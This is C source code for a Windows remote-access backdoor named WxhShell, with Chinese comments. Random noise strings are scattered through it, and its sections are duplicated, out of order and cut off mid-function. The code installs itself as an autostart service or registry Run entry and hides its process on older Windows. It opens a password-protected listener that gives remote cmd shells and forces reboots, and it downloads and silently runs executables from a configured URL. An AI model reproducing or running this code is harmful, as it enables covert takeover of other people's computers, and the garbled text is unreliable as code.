+ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5<w g8y if(NULL == hInst ) return 0; 9*a=iL*Nw 6&/T@LQYrh g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RZ+`T+zL g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p QizJ6 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); __.+s32SS$ 4^URX>nx8 if (!NtQueryInformationProcess) return 0; H<3I 5Kgt 9V5-%Iv hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ooQQ-?"m if(!hProcess) return 0; NC38fiH_N 7.`fJf? if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 73){K?R x7$}8LZ"B CloseHandle(hProcess); I(XOE$3 y:6; LZ9[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _8E/)M if(hProcess==NULL) return 0; &%-73nYw ^#sU*trr HMODULE hMod; Dtj&W<NXo char procName[255]; G.UI|r/Kz unsigned long cbNeeded; gg8Uo G ghRVso( if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y0X-Zqk' z[;z>8|c CloseHandle(hProcess); k5T,990
XcjRO#s\ if(strstr(procName,"services")) return 1; // 以服务启动 0L/n ?bf hodgDrmO/ return 0; // 注册表启动 Q@HopiC } 1@-Ns <%"b9T`' // 主模块 hq #?kN int StartWxhshell(LPSTR lpCmdLine) \o^2y.q:> { j*vYBGD SOCKET wsl; qo|WXwP2 BOOL val=TRUE; =y-@AU8 int port=0; $b mLu=9 struct sockaddr_in door; ,KFapz! (I./ Uu% if(wscfg.ws_autoins) Install(); }1upi=+aE 1aTB%F port=atoi(lpCmdLine); :*KHx|Q _FWBUZ;N if(port<=0) port=wscfg.ws_port; U-3i
w.TuoWo> WSADATA data; =z
/dcC$r if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q?8|
[. 8#g1P4 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; BT"XT5@ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9_5ow door.sin_family = AF_INET; |/)${*a4n door.sin_addr.s_addr = inet_addr("127.0.0.1"); :n-]>Q>5=k door.sin_port = htons(port); ;4pYK@9w_ q0zr
E5 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sjV!5Z closesocket(wsl); \vO,Ee~#W return 1; uu>Pkfo } @8I4[TE ;N?]eM}yf if(listen(wsl,2) == INVALID_SOCKET) { (R("H/6xs closesocket(wsl); 53n^3M,qK return 1; ;67x0)kn } K>@+m Wxhshell(wsl); A nX%[W " WSACleanup(); e\:+uVzz [wzb<"kW return 0; s|y "WDyx5 ZG&>:Si; } 71t*% lp^<3o*1 // 以NT服务方式启动 Ev}C<zk* VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TJR:vr { fNW"+ <W DWORD status = 0; 0a XPPnuX DWORD specificError = 0xfffffff; ]Yn_}Bq Vo'T!e- B serviceStatus.dwServiceType = SERVICE_WIN32; 2|*JSU.I serviceStatus.dwCurrentState = SERVICE_START_PENDING; GVYkJ0, serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R1$:~p2m serviceStatus.dwWin32ExitCode = 0;
t!_<~ serviceStatus.dwServiceSpecificExitCode = 0;
ElW~48 serviceStatus.dwCheckPoint = 0; 1^}[&ar serviceStatus.dwWaitHint = 0; b?lD(fa& @X;!92i hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /k,-P if (hServiceStatusHandle==0) return; kZGRxp9 Tq[kl'_ status = GetLastError(); lSVp%0jR if (status!=NO_ERROR) fO[+LR
'ax { 2`N,, serviceStatus.dwCurrentState = SERVICE_STOPPED; I$Op:P6.E serviceStatus.dwCheckPoint = 0; %/zbgS` serviceStatus.dwWaitHint = 0; }%{LJ}\Px serviceStatus.dwWin32ExitCode = status; i\rDu^VQ serviceStatus.dwServiceSpecificExitCode = specificError; kTu[ y; SetServiceStatus(hServiceStatusHandle, &serviceStatus); FwkuC09tI return; HOJs[mqB% } `3WFjU5a P"8~$ P# serviceStatus.dwCurrentState = SERVICE_RUNNING; gL*>[@RO serviceStatus.dwCheckPoint = 0; _8F`cuyW serviceStatus.dwWaitHint = 0; q%"VYt4 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); st:`y=F_ } D!Pq4'd( 0vD7v // 处理NT服务事件,比如:启动、停止 S]Mw#O| VOID WINAPI NTServiceHandler(DWORD fdwControl) ]rH\`0 {
T^k7o^N> switch(fdwControl) 9Hb6nm { tne ST. case SERVICE_CONTROL_STOP: !C3MFm{B serviceStatus.dwWin32ExitCode = 0; |es?;s' serviceStatus.dwCurrentState = SERVICE_STOPPED; PuA9X[= serviceStatus.dwCheckPoint = 0; K1+)4!}%U serviceStatus.dwWaitHint = 0; BMG3|N^ { xg;+<iW SetServiceStatus(hServiceStatusHandle, &serviceStatus); YSic-6z0Ms } lJ}_G>GJ return; q=Sgk>NA case SERVICE_CONTROL_PAUSE: %Q
fO8P serviceStatus.dwCurrentState = SERVICE_PAUSED;
e]$}-i@# break; sHt].gZ case SERVICE_CONTROL_CONTINUE: y[)> yq y serviceStatus.dwCurrentState = SERVICE_RUNNING; ?R$F)g7< break; qzKdQ&vO case SERVICE_CONTROL_INTERROGATE: uXJ;A * break; vZaZc}AyL }; U4C 9<h& SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2a`o
&S } EIf5(/jo kwo3`b // 标准应用程序主函数 KyYM fC int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gM
u"2I5 { Ybs\ES'?A >_-s8t=| // 获取操作系统版本 zuJ@E=7 OsIsNt=GetOsVer(); t\k$};qJ GetModuleFileName(NULL,ExeFile,MAX_PATH); @ hiCI.?X /'l{E // 从命令行安装 Cz\ew B if(strpbrk(lpCmdLine,"iI")) Install(); _/-jX 4U+xb> // 下载执行文件 jHE}qE~>5 if(wscfg.ws_downexe) { S >X:ZYYC if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =S+wCN WinExec(wscfg.ws_filenam,SW_HIDE); ;o2$
Q } IEsEdw]aZE M/>7pZW if(!OsIsNt) { hKLCJ#T // 如果时win9x,隐藏进程并且设置为注册表启动 +./H6! HideProc(); e,vvzso StartWxhshell(lpCmdLine); 1PQ~jfGi } .f%fHj else K1"*.\?F if(StartFromService()) V3Q+s8OIF // 以服务方式启动 VM
GS[qrG StartServiceCtrlDispatcher(DispatchTable);
-D else !;Yg/'vD- // 普通方式启动 cl=EA6P\X StartWxhshell(lpCmdLine); cl[BF'.H 5\5/ return 0; P;=n9hgHI } u~7hWiY<2 ]@j*/IP y&q*maa[ U@_dm/;0& =========================================== EUD~CZhS"k ,
pDnRRJ! %p^wZtm 8=B|C'> M -cTRd-i ww\CQ6/h " l&OKBUG [842&5Pd? #include <stdio.h> DBW[{DE #include <string.h> WejYy| #include <windows.h> `<``8 #include <winsock2.h> :|V$\!o'U #include <winsvc.h> Q]Y*K #include <urlmon.h> q0i(i.h 8Wrh]egu1 #pragma comment (lib, "Ws2_32.lib") !;&p"E|b# #pragma comment (lib, "urlmon.lib") R]}}$R`j ]i&6c #define MAX_USER 100 // 最大客户端连接数 dt \TQJc~ #define BUF_SOCK 200 // sock buffer ck ]Do!h #define KEY_BUFF 255 // 输入 buffer BgurzS4- dA@]! #define REBOOT 0 // 重启 `18qbot #define SHUTDOWN 1 // 关机 [;4g GY6`JWk #define DEF_PORT 5000 // 监听端口 .b3Qfxc> nrL9
E'F' #define REG_LEN 16 // 注册表键长度 /\ y?Y #define SVC_LEN 80 // NT服务名长度 3KRd b3&zjjQ // 从dll定义API 9_L[w\P|4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |{BIHgMh typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5gH1.7i b typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,X[ktz typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^crCy-`# 2#KJ asX // wxhshell配置信息 W]"zctE struct WSCFG { Tzt8h\Q^z int ws_port; // 监听端口 -[*,^Ti` char ws_passstr[REG_LEN]; // 口令 SN9kFFIPb= int ws_autoins; // 安装标记, 1=yes 0=no m'Amli@[ char ws_regname[REG_LEN]; // 注册表键名 ''q@> char ws_svcname[REG_LEN]; // 服务名 O,+1<.;+ char ws_svcdisp[SVC_LEN]; // 服务显示名 $?
m9") char ws_svcdesc[SVC_LEN]; // 服务描述信息 rXmn7;B}g char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *]ly0nP int ws_downexe; // 下载执行标记, 1=yes 0=no y?[ v=j*U char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Pu7_
v char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F3N?Nk/ 4,bv)Im+ ` }; Ttu2 skcv p#ol*m5wE // default Wxhshell configuration A_XY'z 1 struct WSCFG wscfg={DEF_PORT, mC4zactv "xuhuanlingzhe", p#01gB 1, 09X01X[ "Wxhshell", ,V,`Jf "Wxhshell", ^!<U_;+ "WxhShell Service", l7XUXbYp&= "Wrsky Windows CmdShell Service", 03|PYk 6EW "Please Input Your Password: ", \l'm[jy> 1, Lz`E;k^ "http://www.wrsky.com/wxhshell.exe", \s/s7y6b+ "Wxhshell.exe" oiF}?:7Q7 }; ^ssK lW+\j3?Z$ // 消息定义模块 :}Xll#.,m char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j| v%)A char *msg_ws_prompt="\n\r? for help\n\r#>"; v0
nj M char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `>gd&u char *msg_ws_ext="\n\rExit."; K$&s=Hm char *msg_ws_end="\n\rQuit."; ~x A-V4. char *msg_ws_boot="\n\rReboot..."; o9|nJ; char *msg_ws_poff="\n\rShutdown..."; X^T:8npxt char *msg_ws_down="\n\rSave to "; (X $=Q6 %zA;+s$l char *msg_ws_err="\n\rErr!"; q
0$,*[PH char *msg_ws_ok="\n\rOK!"; 2QD3&Q9 9i'jjN char ExeFile[MAX_PATH]; ;
o?-yI&T* int nUser = 0; =[H;orMr HANDLE handles[MAX_USER]; 6TQoqH8@U int OsIsNt; UR%/MV ?+_Gs;DGVE SERVICE_STATUS serviceStatus;
txJr; SERVICE_STATUS_HANDLE hServiceStatusHandle; 8e*,jH3 @XgKYm
// 函数声明 OglEt[ " int Install(void); V^7V[(~` int Uninstall(void); Q;[,Q~c[u int DownloadFile(char *sURL, SOCKET wsh); 1e(E:_t int Boot(int flag); P?8GV%0$ void HideProc(void); H;?{BV int GetOsVer(void); '{a/2
l int Wxhshell(SOCKET wsl); j.C`U(n}` void TalkWithClient(void *cs); :9O#ObFR int CmdShell(SOCKET sock); {E
p0TVj` int StartFromService(void); A'j;\
`1 int StartWxhshell(LPSTR lpCmdLine); ql<i] Y cWEE% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a;rdQ> VOID WINAPI NTServiceHandler( DWORD fdwControl ); @>d*H75
>7wOoK|1' // 数据结构和表定义 |2?'9< SERVICE_TABLE_ENTRY DispatchTable[] = QP@%(]f G { %dRo^E1p {wscfg.ws_svcname, NTServiceMain}, 5\N(PL {NULL, NULL} ~;QvWS }; z8jk[5z `{eyvW[Ks // 自我安装 J{l1nHQZSu int Install(void) )hd@S9Z.Y { VCu{&Sh* char svExeFile[MAX_PATH]; u6M.' HKEY key; *v;!-F&8> strcpy(svExeFile,ExeFile); c]$i\i# qHsUP;7 // 如果是win9x系统,修改注册表设为自启动 k>F'ypm if(!OsIsNt) { ,`wXg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { us;YV<)d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y)F;zW<+ RegCloseKey(key); _wC3kAO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @AKn@T5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JIOh#VNU RegCloseKey(key); wAX1l*` return 0; O#x*iI% } __`*dL>* } b_,|>U } uXI_M) else { &K[_J 3t`P@nL0; // 如果是NT以上系统,安装为系统服务 J cg,#@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _,zA ^*b if (schSCManager!=0) g3Ec"_>P { Mx6@$tQ% SC_HANDLE schService = CreateService M^MdRu ( l*ayd>`~x schSCManager, ;6gDV`Twy wscfg.ws_svcname, jYx38_5e wscfg.ws_svcdisp, -#0qV:D SERVICE_ALL_ACCESS, tna .52*/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]p*l%(dhY SERVICE_AUTO_START, V\6=ySx SERVICE_ERROR_NORMAL, VOKZ dC- svExeFile, p%iGc<vHX NULL, 3Dg,GaRk NULL, r^h4z`:L NULL, x N=i]~ NULL, ]Gpxhg NULL ]P#XVDn+; ); H70LhN if (schService!=0) 8j Mk)- { i#7DR>XF/ CloseServiceHandle(schService); WF2}-NU" CloseServiceHandle(schSCManager); IKABB W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A&s:\3*Kh strcat(svExeFile,wscfg.ws_svcname); xHoKo if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W [Of|? RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /rg*p RegCloseKey(key); ]NjX?XdX< return 0; O>SLOWgha } x6(~;J } t]>Lh>G CloseServiceHandle(schSCManager); &Q+Ln,(&L } z|=}1;(. } kV?y0J. 9w"h return 1; MA;1;uI, } U2{ dN> Z&ZP"P4 // 自我卸载 =NOH:#iQ int Uninstall(void) [OHxonU { |\QgX%
HKEY key; Rz(QC\( dOqOw M.y if(!OsIsNt) { Fp@TCPe# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6^uq?
RegDeleteValue(key,wscfg.ws_regname); T^:UBjK6t{ RegCloseKey(key); &f!z1d-qg? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bx<RV7>0 RegDeleteValue(key,wscfg.ws_regname); %T X@I$Ba RegCloseKey(key); g$HwxA9Gp/ return 0; .}'qUPNR } &F\? } Em?d*z } JXCCTUO else { ~3WM5 fv 8dV=[+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /<E5"Mm% if (schSCManager!=0) Ge,;8N88 { Xua+cVc\y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !xP8#|1 if (schService!=0) 5Ycco,x { iOwx0GD.n if(DeleteService(schService)!=0) { n.wF&f'D] CloseServiceHandle(schService); n,=VQOu CloseServiceHandle(schSCManager); I([!]z return 0; k:JrHBKv\ } k9$K} CloseServiceHandle(schService); Mzsfo;kk+ } =3q/F7- CloseServiceHandle(schSCManager); mu?Eco`~ } )p
T?/J } rrQQZ5fh b 9UKp?SIF return 1; hc~s"Atck } D!.[q -< ()K " c# // 从指定url下载文件 dlJbI}-v= int DownloadFile(char *sURL, SOCKET wsh) ) _mr! z(S { @Gx.q&H HRESULT hr; 1c<=A!"{ char seps[]= "/"; m<{<s T char *token; .jS~By|r char *file; #k_HN}B char myURL[MAX_PATH]; $Z|ffc1 char myFILE[MAX_PATH]; F_Y7@Ei/ f` :i.Sr strcpy(myURL,sURL); /J04^6 token=strtok(myURL,seps); ,S'p%g while(token!=NULL) XEn*?.e { _{R=B8Zz\ file=token; '&.# token=strtok(NULL,seps); :>D[n1v } AgV G`q ZZcEt GetCurrentDirectory(MAX_PATH,myFILE); R&|mdY8 strcat(myFILE, "\\"); [
j3&/ strcat(myFILE, file); f@8>HCI send(wsh,myFILE,strlen(myFILE),0); Vl_:c75" send(wsh,"...",3,0); }@Ge}9$h hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'a$Gv&fu if(hr==S_OK) hGd<<\ return 0; @)
s,{F else F;=4vS]\ return 1; "`M?R;DH >tO`r.5u9 } RY c!~Wh~Y t]$P 1*I // 系统电源模块 Eq$&qV-?( int Boot(int flag) w4W_iaU { vz^<YZMu HANDLE hToken; vk*=4}: TOKEN_PRIVILEGES tkp; !PrwH; _@
*+~9%8p if(OsIsNt) { wNQ*t-K OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p3]_}Y
D[# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #+$G=pS'v tkp.PrivilegeCount = 1; ?*?RP)V tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S/Fkw4% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2>86oP& if(flag==REBOOT) { mjWU0Gh%* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2 Yp7 return 0; {]E+~%Va } e&>;*$) else { )K,F]fc+O if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H2
$GIY return 0; %Eb%V ($ } i/~1F_ } S}$r>[t else { ms!r ef4`+ if(flag==REBOOT) { e*bH0'; q if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]4R[<<hd return 0; q4}PM[K?=\ } h~(G$':^ else { OfctoPP _0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) usEwm,b) return 0; ]%BWIqbr } dxZu2&gi } Ix(?fO#uNF Gm9hYhC8 return 1; ?[)}l9 } zX0mdx<|< uiJS8(Cb // win9x进程隐藏模块 g.'yZvaP void HideProc(void)
fv`O4 { taFn![}/!g s<9RKfm HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }0u8r` if ( hKernel != NULL ) 4hAl-8~Q6 { O!Oumw,$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); % ]I ZLJ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &^}6
9 FreeLibrary(hKernel); |1ST=O7.LH } +)j1.X h$.:Uj8/ return; 9lGOWRxR) } jM$`(Y 3GuH857ov // 获取操作系统版本 4O;OjUI0a int GetOsVer(void) _~rI+l A { RRGWC$>? OSVERSIONINFO winfo; ]J:1P`k. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1gmt2>#v% GetVersionEx(&winfo); U5-@2YcH if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \0mb
3Q' return 1; 2Fz|fW_ else 'v\L @" return 0; 7zHh@ B:] } "TUe%o Kx=4~ // 客户端句柄模块 G!Um,U/g int Wxhshell(SOCKET wsl) H}H7lO { Nnk@h SOCKET wsh; mcn 2Wt struct sockaddr_in client; ~BDu$ DWORD myID; e|&6$A>4] `5~ +,/Ys while(nUser<MAX_USER) $2M#qkik- { /DqLrA int nSize=sizeof(client); 4#5:~M } wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w.lAQ5)I%\ if(wsh==INVALID_SOCKET) return 1; =xNv\e Q>R>R*1.j handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >~`r:0', if(handles[nUser]==0) I
j$lDJS closesocket(wsh); ,_X/Gb6) else 59zENUYl nUser++; zH>hx5,k'X } @#P,d5^G
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vjQb%/LWl ?Q-h n:F) return 0; mk3_ } /;tPNp{!dw wWSdTLX // 关闭 socket K{ \;2M void CloseIt(SOCKET wsh) `E!N9qI?t$ { "Vr[4&` closesocket(wsh); ]D@0| nUser--; l#lF
+Q; ExitThread(0); &q`q4g&7 } ,(.MmP` F[4;Xq // 客户端请求句柄 MB%Q WU void TalkWithClient(void *cs) \~BDm { f8SL3+v Dk+&X-]6x5 SOCKET wsh=(SOCKET)cs; u5~Ns&o&N char pwd[SVC_LEN]; xS7$%w[' char cmd[KEY_BUFF]; h.!}3\Y char chr[1]; =56T{N int i,j; pSm $FBW h % ,N< while (nUser < MAX_USER) { 0<8XI>.3D UjOB98Du if(wscfg.ws_passstr) { }?&k a$rI if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y!WG)u5 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2P]L9'N{Y //ZeroMemory(pwd,KEY_BUFF); CH
fVQ|!\ i=0; :>aQ~1f>] while(i<SVC_LEN) { #-8\JEn r1<F // 设置超时 }BiiE%a fd_set FdRead; $2<d<Um~z struct timeval TimeOut; ]c&<zeX, FD_ZERO(&FdRead); 4GR!y) FD_SET(wsh,&FdRead); {8R"O{ TimeOut.tv_sec=8; 0QvT TimeOut.tv_usec=0; ~GuMlV8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8)kLV_+% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'S[++w?Qq RJy=pNztm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VR pwd=chr[0]; S}f?.7 if(chr[0]==0xd || chr[0]==0xa) { =CL}
$_ pwd=0; 2 o#,kGd break; 4O:W#bx } <$N"q i++; uNn[[LS } :K
~ oQv3GpO // 如果是非法用户,关闭 socket \}~s2Y5j if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y-'78BJk } UxD5eJJ Kf 2jD4z} send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q %0Cg= send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hky;CD~$ S!PzLTc while(1) { peJKNX.!q '+
xu#R ZeroMemory(cmd,KEY_BUFF); [xh*"wT#g 8vuCc= // 自动支持客户端 telnet标准 saU]`w_Z* j=0; OEPa|rb while(j<KEY_BUFF) { -k(CJ5H9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2"fO6!hh cmd[j]=chr[0]; ^'p|!`: if(chr[0]==0xa || chr[0]==0xd) { A~Xq,BxCV cmd[j]=0; Mc-)OtmG[ break; 15$4&=O } Qu<Bu)` j++; T6pLoaKu } *jMk/9oa<N D0mI09=GtQ // 下载文件 v+e|o:o# if(strstr(cmd,"http://")) { 9S[XTU send(wsh,msg_ws_down,strlen(msg_ws_down),0); >a1{397Y} if(DownloadFile(cmd,wsh)) ;.wX@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); QRLJ_W^&u else )RYG% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M(d6Z2ibh } cst}Ibfi else { KluA /H:I 68~ switch(cmd[0]) { | 3+m%;X 83cW=?UgA // 帮助 .D4bqL case '?': { >xA),^ YT send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8F)G7
H, break; 577:u<Yt } NZN-^ > // 安装 ^v9|%^ug case 'i': { ds[QwcV9- if(Install()) $T<}y_nHl send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5efxEt>U else g(O;{Q_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;WT{|z break; -Q;#sJ? } +>7$4`Nb2 // 卸载 Y${l!+q case 'r': { j5Un1 if(Uninstall()) >)_ojDO send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5]1leT else ec Oy6@UDY send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Fu>|2F| break; .+y>8h3{ } Wk^RA_ // 显示 wxhshell 所在路径 l{ex? case 'p': { M }0eu(_| char svExeFile[MAX_PATH]; M,3wmW&d6 strcpy(svExeFile,"\n\r"); w(1Gi$Z(Q) strcat(svExeFile,ExeFile); p.fF}B send(wsh,svExeFile,strlen(svExeFile),0); ED$DSz)x break; ;Qi }{;+ } ~#}Dx
:HH // 重启 <DH*~tLp2 case 'b': { D\^WXY5e%y send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }.)s%4p8
if(Boot(REBOOT)) z"DkFvA send(wsh,msg_ws_err,strlen(msg_ws_err),0); A>NsKWf{ else { }<MR`h1 closesocket(wsh); &X`u9 V ExitThread(0); 5j"1z1_& } SbsouGD,{ break; Ni*Wz*o } .BO< // 关机 RA a[t :| case 'd': { kqvow3u send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W[NEe,.> if(Boot(SHUTDOWN)) RV-h IdAU send(wsh,msg_ws_err,strlen(msg_ws_err),0); `-B+JQmen else { '?o9VrO closesocket(wsh); Wv!<bT8r ExitThread(0); N0n^L|(R } /T0nLp`gi break; nY `2uN~9 } #>@z
2K7 // 获取shell v_PdOp[
k case 's': { %'L;FPxB CmdShell(wsh); AF4?IH closesocket(wsh); A1cb"N^ ExitThread(0); tPHS98y break; 1'6cGpZY } +c206. // 退出 F5gObIJtuY case 'x': { WV kR56 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c\cZ]RZ CloseIt(wsh); P\~{3U break; ]*%+H|l } Cd#E"dY6 // 离开 ]_*S~'x case 'q': { =lr) gj send(wsh,msg_ws_end,strlen(msg_ws_end),0); ARh6V&Hi- closesocket(wsh); w#G2-?aj WSACleanup(); KA]*ox6j; exit(1); yno(' 1B@ break; =G-N`
39 } 6k])Kl J2; } }4%/pOi:f } W^g[L:s OCyG_DLT$5 // 提示信息 H5wb_yBQ+ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J/D|4fC } %4>x!{jwV } ~hN~>0O i6no;}j return; nl/UdgI } 8zQfY^/{M ^!:"Q3 // shell模块句柄 MWWu@SY int CmdShell(SOCKET sock) h:qHR]
8dZ { X=p"5hhfn STARTUPINFO si; $v;dV@tB ZeroMemory(&si,sizeof(si)); #]KgUc5B si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +p:Y=>bTj si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eE:&qy^ PROCESS_INFORMATION ProcessInfo; G`]w?Di4 char cmdline[]="cmd"; aSaAC7sFk CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); utO.WfWP return 0; X} JOX9pK } KI&:9j+M) *FgJ|y6gk // 自身启动模式 CyM}Hc&w int StartFromService(void) Ya4?{2h@+ {
7
Yv!N typedef struct mv
Ov<x;l { ~I_owCVZ DWORD ExitStatus; 8<PKKDgbfd DWORD PebBaseAddress; 9q4_j DWORD AffinityMask; zjM/M DWORD BasePriority; P{oAObP% ULONG UniqueProcessId; |KG&HNfP- ULONG InheritedFromUniqueProcessId; IS_Su;w>4 } PROCESS_BASIC_INFORMATION; $Tl<V/ -wr(vE, PROCNTQSIP NtQueryInformationProcess; FRyPeZR -Wo15O" static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y_H/3?b% static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RtF8A5ys -Wjh* * HANDLE hProcess; K} x/ BhE+ PROCESS_BASIC_INFORMATION pbi; yqcM(,0] 13f<0wg HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lH1g[ )) if(NULL == hInst ) return 0; ()|3
!L\'Mk/=A g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .|]IwyD
& g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Lx+`<<_dJ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W,N L*($^ emWGIo if (!NtQueryInformationProcess) return 0; q.oLmX @FX{M.. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %!W%#U0 if(!hProcess) return 0; X8 qIia E <@\>y.[ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .hz2&9Ow !Cb=B CloseHandle(hProcess); #( uj$[o <'*4j\* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q Z\L if(hProcess==NULL) return 0; @ ^.*$E5 ,/o(|sks HMODULE hMod; %8D?$v"#Z char procName[255]; 1X@b?6 